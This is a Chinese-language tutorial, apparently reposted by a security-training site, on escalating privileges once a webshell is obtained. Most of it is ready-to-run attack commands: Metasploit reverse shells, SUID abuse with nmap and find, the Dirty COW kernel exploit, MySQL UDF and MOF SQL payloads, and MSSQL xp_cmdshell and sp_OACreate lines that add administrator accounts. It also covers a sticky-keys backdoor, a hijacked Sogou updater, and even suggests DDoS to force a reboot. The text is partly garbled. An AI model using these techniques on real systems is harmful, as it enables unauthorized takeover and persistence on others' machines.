超全的渗透测试提权思路

安教育

培养 络安全人才

技术交流、学习咨询

提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。

反弹shell:利用kali虚拟机msfVENOM编写反弹shell脚本

被控制端发起的shell—通常用于被控制端因防火墙受限,权限不足、端口被占用

开启监听:msfconsole模块监听响应的反弹shell脚本(当靶机点击脚本的时候),进入meterpreter模块,可以getsystem权限,获取信息等等,还可以开启远程服务功能(lcx,scocks5)

Windows系统漏洞提权思路—windows(可执行文件:一种是.com;另一种.exe)

系统溢出漏洞操作说明

11、明确漏洞编 及版本

22、明确漏洞利用平台及版本

33、确保cmd执行权限正常运行

44、确保服务器相关防护软件情况

查看系统补丁,提权前期准备【前提已获取webshell】

1方法一:输入shell进入到该主机的shell下,然后:systeminfo 查看系统详细信息

2方法二:进入到 meterpreter 下,执行 run post/windows/gather/enum_patches 可以直接查看补丁情况

3方法三:post/multi/recon/local_exploit_suggester 模块,用于快速识别系统中可能被利用的漏洞

4方法四:WMIC命令也可以查看补丁数量

5wmic qfe getCaption,Deion,HotFixID,InstalledOn

6也可以直接找是否存在某个cve -2018-8120对应的KB4131188补丁

7wmic qfe getCaption,Deion,HotFixID,InstalledOn | findstr /C: “KB4131188”

8方法五:Windows Exploit Suggester

通过msf生成反弹exe进行反弹操作,获取meterpreter通道

监听获取成功后,进行exp的筛选

探测可提取的模块use post/multi/recon/local_exploit_suggester

windows系统漏洞示例

由于低权限用户无法执行太多操作,可以利用反弹上传Churrasco.exe,后续可以利用它来做提权。

添加用户以及加入管理员组,方便我们提高操作权限。

输入net user指令查看是否添加成功,最后提权成功。

linux系统提权思路

linux基础信息收集

1uname-a 显示全部系统信息

2cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版

3cat /etc/passwd 所有人都可看

4ps aux | grep root

(1)#内核漏洞提权

方法:

通过信息收集方式得知linux内核版本

使用searchspolit搜索相应版本漏洞

例:searchsploit linux 4.0.0

searchsploit Ubuntu 16.04

searchsploit Ubuntu 16 kernel 3.10

找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget http://127.0.0.1/xx.c

编译,gcc xxx.c -o exp

(2)#SUID提权

概念

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

特点

SUID 权限仅对二进制程序有效

执行者对于该程序需要有可执行权限(x权限)

SUID 权限仅仅在程序执行过程中有效

执行该程序时,执行者将具有该程序拥有者的权限

首先在本地查找符合条件的文件,有以下三个命令

列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件

1find/ -user root -perm -4000print2>/dev/null

2find/ -perm -u=s – typef 2>/dev/null

3find/ -user root -perm -4000-exec ls -ldb {} ;

常用的可用于suid提权的文件

1Nmap、Vim、 find、Bash、More、Less、cp

(3)#nmap提权

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。

方法一:

启动交互模式,使用nmap –interactive

!sh #执行之后将提供一个提权后的shell。

方法二:

Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap

(4)#find提权

实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

(5)#sudo提权

sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。

sudo 表示 “superuser do”。它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而,大部分时候我们用它来以提升的权限来运行命令。

linux内核提权示例

11.使用nc或lcx反弹到攻击者的电脑

22.使用 uname –a 查看Linux 版本内核等系统信息

33.在exploit库中寻找相应系统版本和内核的漏洞利用模块。(www.exploit-db.com)

44.上传 exp到目标服务器中, chmod777赋予 exp权限,需要进行编译的先进行编译。

55.提权后便可以添加ssh用户 (useradd -o -u 0-g 0username)

通过webshell上传ft.pl,为了等下的反弹shell

系统信息收集Uname -a显示的版本内核为(2.6.24>2.6.22),可能存在脏牛漏洞

ft.pl文件反弹shell

Kali开启监听

编译dirty.c文件,生成一个可执行的EXP,运行./dirty su123(密码)

生成账 firefart,密码su123

新生成的管理员用户firefart把原来的root用户替换掉了(root—>firefart)

可以通过ssh连接

数据库提权思路

数据库获取 站数据库的账 和密码

–通过读取一些数据库配置文件

数据库配置文件:命令规则(data、sql、inc、config、conn、database等)

–通过mysql数据库的user表

数据库安装文件:安装目录下data/mysql/user.myd

1frm:描述表结构文件,字段长度

2myi:索引信息

3myd:数据库信息文件,存储数据信息

(1)mysql数据库——udf提权

udf文件:udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能

udf文件后缀名: .dll(windows)linux后缀名:.so

提权原理

已知root账 和密码,利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用

注意事项

mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:windowssystem32。在windows2000放在:c:winntsystem32

mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

利用udf文件加载函数执行命令

create function cmdshell returns string soname ‘udf.dll’; //returns string soname ‘导出的DLL路径’;

select cmdshell(‘net user ndsec ndsecpw /add’);

select cmdshell(‘net localgroup administrators ndsec /add’);

drop function cmdshell;

(2)#数据库提权——mof提权

mof文件:mof文件是mysql数据库的扩展文件

存放路径(C:/windows/system32/wbem/mof/nullevt.mof)

其作用是每隔5秒就会去监控进程创建和死亡。

提权条件

1、windows2003及以下

2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录

3、secure-file-priv=不为null

提权原理

mof文件每5秒就会执行,而且是系统权限,我们可以通过load_file将文件写入/wbme/mof,然后系统每5秒就会执行一次我们上传的mof

mof当中是一段vbs脚本,通过通过控制vbs脚本让系统执行命令,进行提权。

(3)#数据库提权——反弹端口提权

提权条件

1、获取数据库的账 和密码,同时能够执行查询命令。

2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin

3、授权mysql数据库远程用户的登录

(4)#数据库提权——启动项提权 (这种方法不推荐)

提权原理

使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启

提权条件

secure_file_priv不为null

已知账 和密码

(5)linux系统-udf提权

上传脚本进行监听

靶机连接数据库

查看版本

1usemysql;

2createtablefoo(line blob);

3insertintofoo values( load_file( ‘/tmp/raptor_udf2.so’));

4select* fromfoo intodumpfile‘/usr/lib/mysql/plugin/raptor_udf2.so’;

5createfunctiondo_system returnsintegersoname‘raptor_udf2.so’;

6selectdo_system( ‘chmod u+s /usr/bin/find’);

7find / -exec “/bin/sh” ;

mssql数据库SA权限

执行命令存储过程:xp_cmshell、sp_OACreate

注册表存储过程:xp_regwrite

存储过程

其实质就是一个“集合”。它就是存储在sqlserver中预先定义好的“sql语句集合。”使用T-SQL语言编写好的各种小脚本共同组合成的集合体,我们就称为“存储过程”

利用xp_cmdshell提权

(1)xp_cmdshell解释

Xp_cmdshell是sqlserver中的组件,可以以操作系统命令解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。可以用来执行系统命令

(2)xp_cmdshell开启

默认在sql server2000中是开启的,在sqlserver2005之后的版本默认禁止。如果我们有sa权限,可以用命令开启

1exec sp_configure ‘ showadvancedoptions’ , 1;reconfigure;

2exec sp_configure ‘xp_cmdshell’, 1;reconfigure;

3xp_cmdshell 关闭

4exec sp_configure ‘ showadvancedoptions ‘,1;reconfigure;

5exec sp_configure ‘ ole automation procedures ‘,0;reconfigure;

6exec sp_configure ‘ showadvancedoptions ‘,0;reconfigure;

7

(3)当xp_cmdshell删除或出错的情况下,使用sp_OACreate组件

开启组件SP_OACreate

1execsp_configure ‘show advanced options’,1;reconfigure;

2execsp_configure ‘ole automation procedures’,1;reconfigure;

关闭组件SP_OACreate

1execsp_configure ‘show advanced options’,1;reconfigure;

2execsp_configure ‘ole automation procedures’,0;reconfigure;

3execsp_configure ‘show advanced options’,0;reconfigure;

利用SP_OACreate添加用户提权

1declare @shell intexecsp_oacreate ‘w.shell’,@shell output execsp_oamethod

2@shell, ‘run’,null, ‘c:windowssystem32cmd.exe /c net user quan 123456 /add’

3declare @shell intexecsp_oacreate ‘w.shell’,@shell output execsp_oamethod

4@shell, ‘run’,null, ‘c:windowssystem32cmd.exe /c net localgroup administrators quan /add’

利用SP_OACreate的其他操作

1sp_OACreate替换粘贴键

2declare @oint

3exec sp_oacreate ‘ing.filesystemobject’, @oout

4execsp_oamethod @o, ‘copyfile’, null, ‘c:windowsexplorer.exe’, ‘c:windowssystem32sethc.exe’;

5declare @oint

6exec sp_oacreate ‘ing.filesystemobject’, @oout

7execsp_oamethod @o, ‘copyfile’, null, ‘c:windowssystem32sethc.exe’, ‘c:windowssystem32dllcachesethc.exe’;

(4)使用注册表存储过程:xp_regwrite

udf提权示例

(1)mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:windowssystem32。在windows2000放在:c:winntsystem32

(2)mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

(3)利用udf文件加载函数执行命令

1“`shell

2createfunctioncmdshell returnsstringsoname‘udf.dll’; //returns string soname ‘导出的DLL路径’;

3selectcmdshell( ‘net user ndsec ndsecpw /add’);

4selectcmdshell( ‘net localgroup administrators ndsec /add’);

5dropfunctioncmdshell;

6“`

用蚁剑连接一句话木马,执行蚁剑的数据库功能模块(可以执行SQL语句),查看版本(5.5.53>5.1),udf.dll文件必须放置在mysql安装目录下的libplugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin,然后上传我们的udf.dll文件

把udf.dll导出指定文件夹引入mysql,调用cmd函数的”udf.dll”

查看当前用户,当前并无ndsec用户

调用cmd创建用户,用户名为ndsec,密码为ndsecpw

1net user ndsec ndsecpw / add

添加用户ndsec进系统用户组

1net user localgroup administrators ndsec / add

删除cmd函数

查看当前系统用户,发现添加用户成功,提权成功

第三方软件提权思路

Sogou输入法提权示例

由于搜狗输入法默认设置是自动更新(很少有人去更改这个设置),更新程序没有对exe做任何校验直接在输入法升级时调用运行,导致可以执行恶意代码。

在获取webshell的前提下,在D盘下找到了搜狗的路径

上传我们的PinyinUp.exe文件,把之前搜狗路径下的PinyinUp文件改个名字

当用户更新词库的时候就会调用我们的PinyinUp.exe程序,然后生成用户密码

添加成

??????????????????????????????????????????????????????????????????

文:J01n

原文链接:https://xz.aliyun.com/t/9902

开源聚合 安训练营

环境搭建

Python

学员专辑

信息收集

CNVD

安全求职

渗透实战

CVE

高薪揭秘

渗透测试工具

络安全行业

神秘大礼包

基础教程

我们贴心备至

用户答疑

QQ在线客服

加入 群

QQ+微信等着你

我就知道你“在看”

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2021年7月3日
下一篇 2021年7月3日

相关推荐